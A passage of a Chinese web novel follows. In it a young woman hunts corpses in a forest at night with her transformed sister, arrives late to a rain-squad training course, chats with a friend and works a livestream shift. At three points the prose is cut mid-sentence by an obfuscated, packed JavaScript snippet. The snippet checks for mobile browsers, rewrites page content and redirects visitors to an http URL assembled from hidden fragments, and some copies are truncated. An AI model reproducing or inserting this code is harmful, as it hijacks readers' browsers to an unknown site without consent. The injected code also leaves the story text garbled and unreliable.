她侧看向保温杯,低声道:“姐你千万别出来,等我叫你了再出来。” 保温杯没有动静。向烛一路跟保温杯强调了很多次千万别出来,灯姐没反应就是最好的反应。 向烛不知道为什么灯姐会钻进她的水杯,但来都来了,如果直接回家的话有些浪费周五的时间,而且经过上次的事情后,向烛有点害怕周六的白天去繁光林了。周五先试一下,万一不成周六还能再来。于是她铤而走险,带着灯姐来了。 灯姐能在她保温杯里待一整天,再待一会儿应该也不会出什么问题。 向烛背着包,扫了辆单车往繁光林骑。她这次很早就下了公交,离繁光林非常遥远。 刚跑完三公里没多久的腿没什么力气,她骑一会儿就要在路边休息一会儿。而且夜晚的路很黑。刚开始在城区还好,后来越骑越偏,她在暗淡的灯光中谨慎前行,精神高度紧绷,但凡看到有人从转角露出来,心都会漏了一拍。 一直到大晚上向烛才骑到繁光林。 繁光林周围几乎没有灯,黑得只能靠月光辨认事物。 向烛想象过这里会很黑,但看着黑压压的树杈还是生了退缩的念头。 要不还是明天勤快点,早上过来?可万一又和清雨队的工作时间撞上…… 向烛在外面紧张纠结了许久,最后秉持着来都来了的念头,一咬牙往林子里一钻。 她提心吊胆,摸着黑艰难地走了很长一段路,才像做贼一样打开准备好的手电筒。突然亮起的光让她眯起眼睛,手心不断冒汗。 虽然黑黢黢的很恐怖,但背着灯姐多少让她有些宽慰。 林子里蚊虫很多,即使喷了花露水,但手电筒的光又吸引了很多飞虫,有的撞到向烛眼睛,害她在揉眼睛时险些摔在地上。 走着走着,向烛开始搓胳膊。夜里的繁光林好凉,风也很大。 向烛为了方便跑步,穿的运动外套和运动裤都很轻薄,风往袖管里钻,懂得她打了好几个寒战。 一个人在林子里乱走,向烛忍不住胡思乱想。 她想到林才深上回用枪对着她的画面,想到蔡萝哭泣的样子,想到刚刚在公交车上看的小说。 为了缓解压力和转移注意力,向烛在公交上看、或者说听斯蒂芬·金的《宠物公墓》。虽然说这是一本恐怖小说,但就她目前看到的内容而言,还没什么吓到她的,倒是有让她一直牵挂的——啾吉。 啾吉是主人公家里养的猫,随着主人一家搬迁。他们新家附近的有一条可怕的公路,常常有大卡车疾驰而过,轧死不少小动物。 主人公的邻居一直提醒他,“不要让啾吉靠近那条马路”。 作为同样养着猫的人,向烛的心一直记挂在故事里那只有点调皮、有些傲气的猫咪身上。 明明什么都没发生,只是听到一些噩耗就会让人忍不住担心,一直记挂在心上。虽然向烛总觉得那只猫后面应该还是会被车撞死,可心里仍然揪紧,她抱着一丝“也许不会死”的期望看下去。 就像现在,她抱着灯姐也许会回来的期望,走在黑灯瞎火的繁光林里找尸体。 脚被塑料袋绊住,蓄留在上面脏得发绿的雨水溅了向烛一脚。她无声地叹了一下。 有了上回的经验,向烛这次——仍然一头雾水。黑夜里视线实在太差,她得比上次搜找得更仔细,然而花了更多的时间却没有得到更好的结果,跟她的工作一样。 还有点麻烦的是,向烛的路痴在夜里更严重。向烛跟着指南针往一个方向走,但黑乎乎的地方看起来都长得差不多,有时候为了绕开成片的灌木丛她转了下,走着走着就有点不记得是要往哪个方向走回去了,即使拿着指南针她也会犯迷糊,最后干脆从灌木丛里钻过去,隔着衣物被扎得四处疼。 向烛揉揉痛处,继续前进。在这样寂静的时候,她想和姐姐聊聊天,获得点安慰,但是她不能。 即使灯姐正陪着她,这仍然是一场孤独的旅途。 向烛不知道自己找了多久,她脚底发热,汗水让鞋底变滑,她走起路来很不舒适。 停下来休息、喷驱蚊花露水时,腿会打颤,而且肚子也变得空瘪。 她从背包里拿出面包,边走边吃,稍微重获了些精神。 “嗷……” 向烛听到低吼的狗叫,她打灯看去,两条野狗正在两段拽着一只裤腿。 她刚吃下去的面包突然就让胃难受起来了。 向烛蹲下身,捡起一块大石头丢了过去,野狗被打到嗷了一声,又被几块打到时灰溜溜撤去。 向烛快步上前,被撕咬得不成人形的尸块上长着少量息块和大量腐藤。 她捂住鼻子,平复了下心情再用手往后敲了下保温杯,“姐,你现在饿吗?饿的话你先出来吃两口?” 蓝色的液体从保温杯盖子的缝隙间流淌出来,落在地上堆聚成高大的人形。 头一次和灯姐待在外面,向烛心很慌,她环顾四周,关掉手电筒,“你快吃吧。” 向灯弯下身嗅了下,没张嘴。 向烛偏过头来,“姐你不会是挑食吧?这个确实是没上次的新鲜,但也还可以,现在情况特殊,你忍一下?凑合着吃点,这样我等下能多带点回家。还是说你现在不饿,吃不下吗?” 向灯俯下身,咬了口黏糊糊的腐藤,嚼得很慢。 向烛安下心,“那你在这儿吃,我去坐着休息会儿。” 她真的很累,四肢酸疼发软不说,脸上还有不少蚊子包,又痒又疼。 向烛坐在倒下的树干上,倚着另一棵粗大的树木,抬头看月亮。 她看月亮朦胧黯淡的光透过树林。 明天究竟会变成怎样?要是有人能给她一个答案就好了。 向灯咬一口嚼很久,将腐藤吃得差不多了,她扭过身子,看向倚着树木安睡的向烛。 向灯走到树干旁,坐在向灯身侧,学着她的样子歪过脑袋,以一种别扭的姿势靠着向烛的肩膀。 在这个充满死亡气息的树林里,向烛倚着树,向灯倚着向烛。 夜色是那么浓重。 * 向烛被闹钟吵醒,她翻过身按掉闹钟,已经是下午一点了。闹钟不知道响了多少遍她才听到。 昨天跟灯姐在林子里摸了一晚上的骸生物,她不敢打车,一路走了五个站,然后在公交车站硬生生坐到早班车来。 屁股和腿只要动一下就疼。 灯姐在紧急的时候还是很听她的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045056|178971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一直没有从保温杯里随意出来过。 向烛洗漱完本来想点外卖,看了下账单,决定还是勤快点去楼下买菜做饭。这几年外卖没以前便宜了。 向烛去楼下菜场买了两根玉米、番茄和鸡蛋,还有一把挂面。 她坐在桌边,随便点开了个新剧,一边吃着煎糊的鸡蛋,偶尔再啃两口甜玉米,煮熟玉米的汁水进入嘴中,甜滋滋的。 向烛不是懒得做顿好的,她是不会做。 向烛只会煮饭、煮面。 灯姐跟她说,学会了以后嫁人免不了被使唤,干脆就别学了,家里一直是姐姐做饭她洗碗。再加上大学刚毕业她找的工作包三餐,更不用开发这个技能了。 粮长把脑袋凑过来,向烛拔下一颗玉米粒,将里面白嫩的芯剥出来喂给它。 向烛:“区区小猫,比我这个人吃得还精致,现在就我给你当奴隶了。” 粮长不管她,只埋头干饭。 向烛抬眼看客厅,灯姐不在。自从回来后她好像就有点怪怪的,也不在客厅转圈了,一直待在之前不愿去的卧室里。 向烛啃完玉米,粮长还扒着她的腿叫唤,向烛夹了块鸡蛋递过去,看它如预料般跑开。 明明自己又不吃这些,每回还要跑过来。向烛常常觉得猫的鼻子真的不怎么好使,难怪当不了警猫。 吃完饭,向烛打开清雨队的官网,上面果然刚刚上线一个体考培训计划,她点进去,将详情都看过后先去报了清雨队的考核,再回来报培训的名。 第一场培训在明天上午九点,持续到十一点。也就是说,向烛早上七点就要起床。 她叹了一声。不仅周末要练,此后每个工作日也要空出一个小时进行训练,直到考试前一周。 向烛设置好每日的闹钟,然后再去找出《蓝雨应对手册》和《雨人通用知识手册》。 官网上面说笔试有三项内容:雨人特性与应对60分、基础逃生与环境适应20分、生物与急救知识20分。 偏向非常明显,需要重点准备的内容很清晰。考虑到自己的体能素质,向烛希望能在笔试上拿到更多分数。 向烛算不上擅长学习,或者说,她在小初中短暂地擅长过一段时间,后来一落千丈。 她准备先将这两本书通读一遍,将重要的部分和陌生的部分用不同颜色划下来,然后再开始看以前的测试卷……这个周六会成为充满学习的一天。 向烛已经很久没学过工作以外的东西了,尤其是这种上面满是字没有图的书。她看一会儿就忍不住走神,坐得浑身像爬了蚂蚁一样难受。看着看着脑子发懵了她就想玩手机休息——即使屏幕裂缝,也不影响她看手机。 来回几次后,向烛觉得不行,她把手机丢进衣柜里,又把卧室门关上,将自己钉在客厅桌子旁,认认真真地看,看不进去了就念出来。 粮长不知道她在干嘛,粮长只知道捣乱。她翻动书页,粮长总要伸爪子按住页面。 向烛把它拨开,“乖,自己玩啊,别打扰我。要么你去找灯姐玩。”她看向灯姐半掩的卧室门。 粮长又跳上桌子,在桌面上躺下,半个身子压在参考书上。 向烛将书往下拉动一点,露出字,继续看。 看书,吃饭,看书…… 向烛早早睡下,又早早起床。 她顶着炸毛的头发刷牙洗脸,稍微醒过神后她想到昨天一直没见到灯姐。她走到灯姐卧室,她敲了敲门,“姐,我进来了?” 卧室里空空如也。 13. 第 13 章 灯姐不在卧室。 离向烛定好出门的时间还有十五分钟,灯姐不见了。 向烛的脑子嗡地炸开,十几秒后才重新运转,理出条思绪出来:灯姐出门了?不可能,她明明之前一直很听话,从来没出去过的。而且昨天才吃了东西,也不会饿啊。灯姐一定还在家里某个地方。 想是这样想,向烛还是不放心,她开始在家里翻找,先是把灯姐的卧室里外看了个遍,连窗户外面、床底、衣柜下也没有放过。 “姐?灯姐你在哪?”她在卫生间试了又试,水池里的只是普通的自来水,不是灯姐。 向烛又在厨房找、客厅找,最后又走投无路地回到灯姐的卧室,心慌得忍不住来回转。 到底去哪里了?真的出门了?为什么要出去?家里都找遍了还能有哪里? 向烛在余光中瞥到对面自己半掩的房门,她心一动,快步跑进去,屋里乍眼看去没什么异常。 向烛翻过衣柜,又趴到地上往床底看,在床底看到一滩透明的水渍——居然睡在这里。 向烛大舒一口气,浑身瘫软,她钻出来,看了眼手表上的时间,距离培训开始的时间只有十分钟,她今天一定会迟到。 强烈的“不想去”跟病毒弹窗一样疯狂地占据了她的脑海,一想到要顶着众人的目光进去她就开始紧张尴尬了。 就说自己身体不舒服请假好了,可第一天就请假…… 向烛按着脑袋,百般纠结后还是硬着头皮打车出门,她晚了整整半个小时才急匆匆地抵达训练地。 清雨队的培训班安排在一处废弃的大学,有一半的地方已经被拆了,只有图书馆还在正常运行。工作人员坐在门口保安室,向烛敲窗,窗户一下来就递过去报名表开口道:“不好意思,我是来参加培训的,请问那个报告厅怎么走啊?” 年轻男人看了下她的报名表,“怎么来这么晚?开课好久了。就在图书馆一楼,你从左边走过那个花坛,再往右就是。” 随便的一问像刀扎在向烛心口,她收好报名表,“谢谢。”随后便马上跑了起来。 虽然拆了一半,但这里废弃的教学楼仍然很多,向烛以前从来没来过这里,即使听工作人员指了路还是绕了好几圈才找到图书馆,等她走到门口时,她已经出了一身的汗,白色的衬衫黏在脊背上。 红色的木门紧闭着,向烛鼓足了勇气才敲了一声然后推开,阶梯式的大教室和上百名备考生出现在她面前,原本的讲解声停下,所有目光集聚在她身上,她本就通红的脸刷地更红了。 讲台上站着一名高大的中年男人,是本次培训的总教官邱狂板。邱狂板肚子有些圆润,额头上刻着几道浅纹,高挺的鼻梁下,嘴唇稍显厚实,嘴角习惯性地微微下垂。 向烛羞愧不已,“不好意思,我来晚了。” 邱狂板低头看了下名单,“叫什么名字?” 向烛整张脸都烫起来了,众目睽睽下,她局促不安,“向烛,方向的方,灯烛的烛。” 她讲错了但毫无自觉,人群中发现的人低低笑出了声。 邱狂板冷着一张脸,“第一天就迟到四十多分钟,你是随便报来玩玩的吗?” “没有,我家里有事耽误了,出门就晚了很多。” “家里有人生病了?” “……不是。” 邱狂板脸更黑了,“如果每个人都像你一样,连自己的时间都规划不好,有那么多理由迟到,还有没有纪律可言?” 向烛说不出话,她好像回到了高一被政治老师当着全班面冷嘲热讽她成绩下降是因为不好好背书的时候。 邱狂板用鼻子吐了下气,下巴一扬,让她进来坐下。 向烛走到距离最近的一排边缘坐下,面目通红地拿出笔记本和笔放在桌上,她没敢抬头看,只用耳朵在听。 “最后一项,反应与协作。”向烛听到粉笔在黑板上划过的声音。 “分两个小测试,第一个是听声辨位。会有不同方位的模拟雨人面板出现,用提供的枪具快速瞄准击打,时间越短分数越高,一共有10次机会。这个需要设备,平时我们练得会比较少,大家自己回家可以用空中抓球练习一下反应力。” 向烛稍微冷静一点后可以抬起头注视邱狂板了。 “最后是双人配合搬运,模拟搬运伤员。考试会随机抽选两名考生组合,2分钟内将一名50公斤的模拟伤员搬到指定区域,超时或中途掉落都会扣分,虽然是最后一项,但是这里面最容易满分的。” 邱狂板将粉笔放在讲台上的纸盒里,“我们这次办培训是想帮助想进清雨队但不知道如何训练自己的人的,所以基础差不要紧,有没有心认真练才是最重要的。毕竟体能训练是很诚实的,有没有努力,你的身体会告诉所有人。所有的项目大概就是这样,不清楚的自己再看下发下来的单子。” 邱狂板的目光突然飞来,向烛下意识就将眼睛撇了下来,躲避那道审视的目光。 平复下来的心情又开始变得很复杂。一大早就慌慌张张,到现在也还是一团死结。 邱狂板又重新讲了下各项目中比较困难的部分,以及平时自己可以怎么进行加强训练。向烛老老实实用手机拍下,然后又用手将重点内容简单地写了下来,加深记忆。 邱狂板开始擦黑板,“剩下的时间主要是进行模拟考试,方便我们给大家分班。由于时间不是很充足,3公里和反应速度就用大家春季体测的成绩作为参考了。” 邱狂板领着众人下楼到操场。向烛一直走在人群中后面,和周围说说笑笑的人有一层无形的屏障。 一个坏的开局,让她整个人都有些失了心情,也变得很紧绷。而且因为来得太晚,她也错过了最适合与人结交的时机,虽然向烛原本就对这方面没期望。 操场的草坪上站了两男两女,正好各自有一个年轻的和年纪大的,还有四个穿着马甲的志愿者。 邱狂板走到前面,挨个介绍,“这是负责耐力跑的百里教官。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045057|178971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 扎了两个麻花辫的年轻女人笑着挥了挥手。 “障碍穿越的广教官。” 方脸阔面的年轻男人点点头。 “力量测试的海教官。” 一脸严肃的中年女人也只是点了下头。 “反应与协作的游教官。” 看起来慈祥和蔼的中年男人笑了笑,“你们好。” 邱狂板也点了下头,“还有几个助教,之后你们训练的时候都会见到。如果对项目有问题可以直接问教官。那么我们现在就开始测试,我念到名字的就是第一组,刘英雄……” 二话不说就进入测试氛围,人们顿时紧张起来。 向烛的心扑通扑通狂跳,她得好好考才行,不然邱总教肯定更觉得她不用心了。 一番折腾下来,向烛终于结束了所有的测试项目,她站在原地,累得满头大汗,感觉灵魂已经出走,不知道自己刚才考了堆什么奇怪的项目。像以前电视上看的特种兵一样翻断墙、走平衡木、负重爬脚手架…… 她被推着往前进,稀里糊涂地开始,稀里糊涂地结束。永远跑在中后的位置。 不知道是不是她多心,向烛总觉得邱总教常常看着她摇头。 向烛的运动服上全是泥巴点,裤子还在低姿匍匐时勾到铁丝勾坏了。 模拟考结束,不少人都像脱了层皮一样。 向烛都不知道自己是怎么回到家的,回过神已经换掉运动鞋,也洗完澡了。她整个人趴在沙发上,脸朝下。 向烛深深地呼气、吸气,闻到沙发布那种淡淡的织物味。 “喵~”粮长叫得凄凉婉转。 向烛抬起头,擦掉眼角的泪水看向它的碗,里面空空如也。 粮长坐在空碗前扭回头看她,向烛从沙发上起来,“饿了是吧?我们粮长怎么这么能吃呀?” 她给猫碗添了粮,一边看粮长吃饭一边抚摸它的脊背。 向烛突然背后一凉,冰凉的手掌落在她后背,从上往下来回地抚摸。向灯在像摸猫一样抚摸她。 向烛笑出声,笑着笑着眼角没忍住又掉下眼泪,她抬手抹去。 这才开始没多久,她就把生活过得乱七八糟了。以后怎么办?她真的能坚持到官方研究出解药的一天吗? 手机w信连着响了好几声,向烛拿出手机一看,是闺蜜乔多啼发来的消息。 小鸟:「我终于加完班啦!大爷的黑心企业,连着加班十几天,怎么不干脆拿走我的命啊?」 向烛很低落,但还是努力扬起情绪回复道:「撒花.gif」 「可恶的资本家,光晓得使唤打工人」 小鸟:「就是就是。你最近新剧看了没?有没有推荐的?我要趁休息一口气补上!」 大蜡烛:「最近太忙了,我也没怎么看」 「害羞.gif」 小鸟:「观剧达人居然歇业了,不可思议。我的蜡烛在忙什么呢?」 大蜡烛:「我在备考清雨队」 14. 第 14 章 向烛走到沙发边侧躺下,跟乔多啼继续发消息。 粮长对着灯姐嘶吼,尾巴毛炸起,马上就跑远了躲起来。 小鸟1.24:「震惊.gif」 「震惊.gif」 「何方妖孽!胆敢附在我挚友身上!还不快现出原形!」 「手动撒盐」 向烛笑了一下,心情轻松很多,她回了个笑晕的表情包。 大蜡烛:「我是蜡烛妖,要想让你朋友回来,赶紧往我卡上打一万块」 小鸟1.24:「那还是让我柔弱的朋友去打怪物吧」 「说真的,蜡烛你怎么突然要去报考清雨队啊?你不是很讨厌血腥的东西吗?清雨队要处理雨人,那不晓得画面得多残忍」 「你又失业啦?」 向烛看着一大串消息,想了想后回道:「我姐上次蓝雨之后就失踪了,现在就我和粮长,我想换个方式生活」 对面沉默了一会儿才发来一堆拥抱的表情。 小鸟1.24:「我的蜡烛怎么这么惨」 「痛哭流涕.gif」 「世道不公.gif」 「你还好吗?」 大蜡烛:「还好,过去这么多天,好很多了,只是如果还过以前的生活总有点难受,我就想着干脆狠心一点,去清雨队过完全不同的生活」 小鸟1.24:「真可怕啊你,坚强得可怕」 向烛看着自己发过去的消息,手轻轻发颤。她将手机放下。 为什么她总是能这么泰然地撒谎呢? 向烛以前只会对老板同事撒谎,谎称自己生病了,好请假给姐姐过生日这样。但没想到自己居然对朋友说谎也这么熟练。 她是个谎话精吗? 向烛又觉得浑身失去了力气,她深深地呼吸,闭上了眼睛,晕沉沉的脑子很快就关机了,再次启动已经是黄昏时分。 黄暖的落日余晖照在客厅地板,向烛迷迷糊糊地睁开眼,脸有点烫。 想起睡前还在和乔多啼发消息,她赶紧拿出手机看,乔多啼果然还发了一串消息。 小鸟1.24:「没事,要是没考上你可以搬来我这边住,我这里可是大城市,工作机会更多,咱俩努力挣钱以后一起养老去」 「我可不是诅咒你啊【狗头】」 「你要是想找人聊天记得戳我,我项目刚结束,现在很空,就算忙,你的消息我一定会回的,你知道吧?」 「送花.giif」 乔多啼是向烛高中室友,高一刚入学的时候,她主动邀向烛一起去食堂吃饭,两个人就这样慢慢成了好朋友。 他们总是在吃饭和晚上熄灯前大聊电视剧和小说,是一对因爱好一致而牵系在一起的朋友。 即使后来上了不同大学,又在不同城市工作,没读书时聊得勤了,两个人也仍然是好朋友,春节回老家时会约着见一面,向烛以前失业的时候也会去找她玩。 乔多啼这样关心她,向烛心里还是很感动的。 她发过去消息:「谢谢小鸟~」 「亲亲.gif」 「怎么有你这么好的朋友啊【哭】」 字刚发过去,向烛就红了眼。 「谢谢你这么多年一直和我做朋友,小鸟你这么活泼可爱,还总是宽慰我,遇见你真的很幸福」 「感动落泪.gif」 向烛字还在打,对面又咻咻发来两条。 小鸟:「有蜡烛做朋友也很好啊,说真的,蜡烛你真的很好」 「抱抱.gif」 「有事一定要联系我呀,最近太忙我俩都没怎么聊天」 「服了,我的傻逼老板给我打电话,我去给他回」 「翻白眼.gif」 大蜡烛:「去吧去吧,祝我考试顺利就行了」 乔多啼发来一张富贵花开的图片,向烛无语地笑了一下,她放下手机,坐起来伸了个懒腰。 和朋友聊了一通,今天上午的难受几乎消失了。向烛又开始为晚饭忙碌,晚上吃什么? 她最近总觉得很累,是不是因为没吃肉? 向烛想了想,她要上班,还要看书和去做体能训练,一直不吃肉肯定容易没力气。 除了特别爱吃卤味以外,向烛以前就对肉食没有什么很强的欲望,几天不吃肉都行,而且她很喜欢吃豆芽、莴笋什么的,绿叶子菜吃着总是很清爽,凉拌、清炒都好吃。顿顿都要吃肉的灯姐觉得她简直是兔子成精。 虽然灯姐顿顿要吃肉,但她吃得很少,最后爱吃素的向烛反而比灯姐圆润多了。 这几天又忙又吃得少,向烛都被迫消瘦了,手脚总是有点发软。 现在一天要做的事情太多,不吃肉不行。向烛去楼下菜市场买肉。 说是楼下,其实是要从小区出去的。向烛刚好住在临门口的楼栋,出了门就有一处宽广的白色棚子,很多叔叔阿姨在那里摆摊卖菜。 向烛走向肉摊,一大个猪头就放在摊边,鲜红的猪肉、猪肝、猪脑摆在桌上,她隐隐闻到那股腥味就开始有些不舒服,眼睛看到那片肉红更是难受。 向烛总忍不住想起自己割息块时割到尸体肉的时候…… 向烛努力好一会儿还是撑不住,她退开,转而走向海鲜区。 鱼虾的腥味也很重,但看着它们不会有强烈的恶心感。向烛买了点虾,又给粮长买了条小鱼。 回家后,向烛久违地穿上围裙,她在土豆APP上看做虾的教程,葱蒜切好丢进锅里,热油呲啦呲啦溅起,她举着锅铲担忧地看着锅。 葱花很快就被煎得发黄发焦,向烛把洗过的虾全倒进去,刚入锅还没一秒钟,一只弹了出来,在地板上来回跃动,向烛吓得退远,弓着身子将锅盖盖上。 一直蹲在厨房里的粮长走到虾边上,盯着它看。 向烛也不敢捡,“粮长,快叼走。” 粮长在向烛和向灯的精细照料下,早已习惯了饭来张口的日子,它看了一会儿,伸爪子将板动的虾按住又松开爪子走了。 向烛看着它远去的背影,“虾都不吃了,你就等着我给你弄熟是吧?” 向烛没办法,用筷子将虾夹起来放进碗里,准备等下给粮长煮鱼时放进去。 就这么一会儿的功夫,锅里的虾煎糊了一面,向烛着急忙慌地将虾翻面,倒进调味料又翻炒过后将虾倒进菜盘。 向烛还“炒”了盘豆芽。加了一堆水炒得软乎乎的,但至少看起来比那盘油焖大虾好看多了。 向烛将菜摆到桌上,下意识舀了两碗饭。 她看着面前的一荤一素和两碗大白米饭——已经不知道多少天没吃过炒菜和米饭了。 向烛看向难得坐在沙发上的灯姐,“姐你看我炒的菜。虽然糊了,但还有点样子,我可能是个做饭天才。” 灯姐盯着嵌在墙壁上的电视机,向烛鬼使神差地给她打开了,随机点开一部电视剧。 剧的开头就是女主的父母端着蛋糕给小时候的女主庆祝生日,然后第二年父母在买蛋糕的路上出车祸去世了,很经典的剧情。 灯姐那一大束花的头向着电视机,也不知道是在看还是没在看。 向烛呆呆地看了她一会儿,开口道:“灯姐你饿不饿?要不要跟我一起吃?我帮你把你的饭菜拿出来?” 向烛不知道自己在说什么,真拿出来了估计她要吃不下饭了。 向烛摇摇头,她去厨房将晾凉的鱼虾放在粮长碗里,然后坐回桌边开始吃饭,耳朵听着电视机里传来的对话声。 “我们家好心收留你,你就这个态度?” “养条狗都比你懂得报恩吧?” 她安安静静地吃着饭。 过了一会儿,w信又嗡嗡响了,向烛以为是乔多啼发来的消息,打开一看是老板,看清消息内容的瞬间她有点郁闷。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054208|178971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 老大(章良):「今天你上链接」 向烛哒哒哒打字过去:「老大,今天不是我,是小周姐,我的排期在下星期」 老大(章良):「周可跟我说是你接她的班,她今天有事」 向烛疑惑地去翻聊天记录,小周姐没给她私发过消息。她又去翻工作群聊,往上滑翻到了一条连@都没有的消息。 「小烛我明天有事,跟你换下直播的班」 无名火腾起,向烛深吸一口气,稍微平静后去回复老板:「小周姐在群里发了个接班消息,没私下跟我说,我不知道」 老大(章良):「那你准备一下吧,今天挂了新课的链接,你记得多发那几个新的」 向烛手悬在空白的聊天框里许久才回了个“好”。 晚上21点,老板的直播开始了,粉丝连麦提问外贸的事情,老板进行解答。然后向烛在老板提到相关课程时就发送一下链接,中途偶尔假装路人发点弹幕活跃气氛。 这些人相信老板能带着他们挣钱,因为这个念头,现在老板确实是挣了很多钱。 向烛对老板的实力一直很存疑,因为他们主营的一直都是他的课程而不是楼下的精油产品,一个课程动不动就2888。每次直播就和人聊汇率波动、经济形势……挣的就是信息差的钱,也不算在骗人钱,只是向烛不太喜欢干这种工作。 如果一个喜欢研究市场、国际经济的人做这种工作应该会快乐一点吧?向烛只是用这份工作糊个口而已。 直播三个小时后才结束,向烛点链接点得手指发软,她长长叹了一口气退出,没有一点学习的力气了,早早洗漱睡觉。 周一一大早,向烛醒来时喉咙很痛,像有什么哽在喉咙一样。她试着清了下嗓子,更疼了。 牙都没刷,向烛去客厅倒水喝。她吸了下鼻子,嗓子还是很痛。 完了,肯定是因为昨天直接在沙发上睡觉,感冒了。 向烛一边刷牙洗脸,一边给自己冲了包板蓝根,喝下后好受了一点。 坐在工位上,向烛的嗓子在吃过早饭后就不疼了,但开始时不时地流清鼻涕。 “感冒了吗?”蔡萝在她旁边坐下。 “好像有一点。” 蔡萝舔了下嘴唇,“那个……小向姐,这个送你。” 她递过来一只小巧、黑乎乎的长尾猫咪挂坠。 “好可爱啊,谢谢。”向烛把猫咪挂在背包拉链上,“这是哪个动画片里的吗?” 看她立即用上,蔡萝笑着点点头,“这个是《呼啦圈喵汪》里的,我买盲盒买到一样的了,就想着送你一个。” “你还去抽盲盒?不怕阿姨发现了?” 蔡萝又耷拉下来了,“就悄悄用……那个里面有我特别喜欢的角色,真的忍不住。” 向烛不太能理解,她只能安慰道:“没事,公司桌子够你堆一阵子的,反正你快搬出去了。” 提到搬家,蔡萝有些出神。 向烛还没等到她说什么,等到了老板把她叫到办公室,提醒她下次注意交接,别再出现周末那样的事情。 向烛面目平静,“老大,小周姐都没有直接跟我联系。” “人家发在工作群的,你要注意看啊。” 周六了还要盯着工作群看。本来是图面试时说不加班才来这里干的,结果每个月要值一次直播的班就算了,事情还越来越多。 向烛无奈地叹了声气。她看老板那副拘谨的模样,猜到估计是找周可谈过但对方不认,于是只能来敲打她。 “我知道了。” 老板点点头,“那你回去上班吧。” 向烛继续老老实实做自己的工作,她尽量加快速度,准点就关掉电脑,背起背包往外冲。 训练地离公司不是很近,向烛怕出什么意外,想先赶上最早的公交,看看过去到底要花多少时间。 向烛提前十五分钟抵达。